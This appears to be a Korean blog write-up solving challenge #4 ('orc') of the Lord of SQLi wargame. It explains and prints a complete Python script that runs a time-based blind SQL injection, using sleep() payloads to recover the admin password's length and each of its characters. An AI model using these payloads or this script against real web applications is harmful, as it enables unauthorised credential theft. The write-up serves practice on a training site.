본문 바로가기

wargame/LOS

[LOS] #4 orc 풀이

반응형

이야 새해맞이 문제 풀이네요

일단 기본적으로 admin을 불러내는건 쉬운데 pw를 알아야 풀 수 있네요.

더보기

blind_SQLi로 풀어봅시다.

union select로 쿼리 하나 더 붙여 주고 

sleep 함수 사용해서 Timebased BSQLi로 시도할 겁니다.

import requests
import time
import warnings

warnings.filterwarnings("ignore")

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

# params = {'pw': 'aaa\' union select sleep(3) or \'1\' = \'1'}
flag = False
PwLen = 0

while(not flag):
	PwLen += 1
	params = {'pw': '\' or id = \'admin\' and length(pw)='+str(PwLen)+' and sleep(3)#'}
	cookies = {'PHPSESSID': '2l2irvhg25d0n5uvi3prrbr1t3'}
	firstTime = time.time()
	res = requests.get(url, params=params , cookies=cookies)
	#print(res.status_code)
	#print(res.text)
	Time = time.time() - firstTime
	#print(Time)
	flag = Time > 3.0

print(PwLen)
cursor = 0
Password = ''
for cursor in range(1,PwLen+1):
	pw = 0 # 33~126
	flag = False
	while(not flag):
		if(pw >= 127):
			print('err!!')
			break
		params = {'pw': '\' or id = \'admin\' and ascii(substr(pw,'+str(cursor)+',1))='+str(pw)+' and sleep(3)#'}
		cookies = {'PHPSESSID': '2l2irvhg25d0n5uvi3prrbr1t3'}
		firstTime = time.time()
		res = requests.get(url, params=params , cookies=cookies)
		#print(res.status_code)
		#print(res.text)
		Time = time.time() - firstTime
		#print(Time)
		flag = Time > 3.0
		if(flag):
			Password += chr(pw)
		pw += 1
		print(Password)

 첫번째 반복문을 통해서 pw의 길이를 

그 다음 pw 길이 만큼의 반복문을 통하여 pw를 알아내 줍니다.

혹시 코드 쓰실 분들은 쿠키 값 보셔서 세션값이랑 url값 수정해주셔야합니다.

코드는 python2.x 에서 동작합니다.

 

나온 값으로 pw 인증 해주면 통과~

'wargame > LOS' 카테고리의 다른 글

[LOS] #5 wolfman 풀이  (0) 2021.01.06
[LOS] #3 goblin 풀이  (0) 2020.12.31
[LOS] #2 cobolt 풀이  (0) 2020.12.30
[LOS] #1 gremlin 풀이  (0) 2020.12.30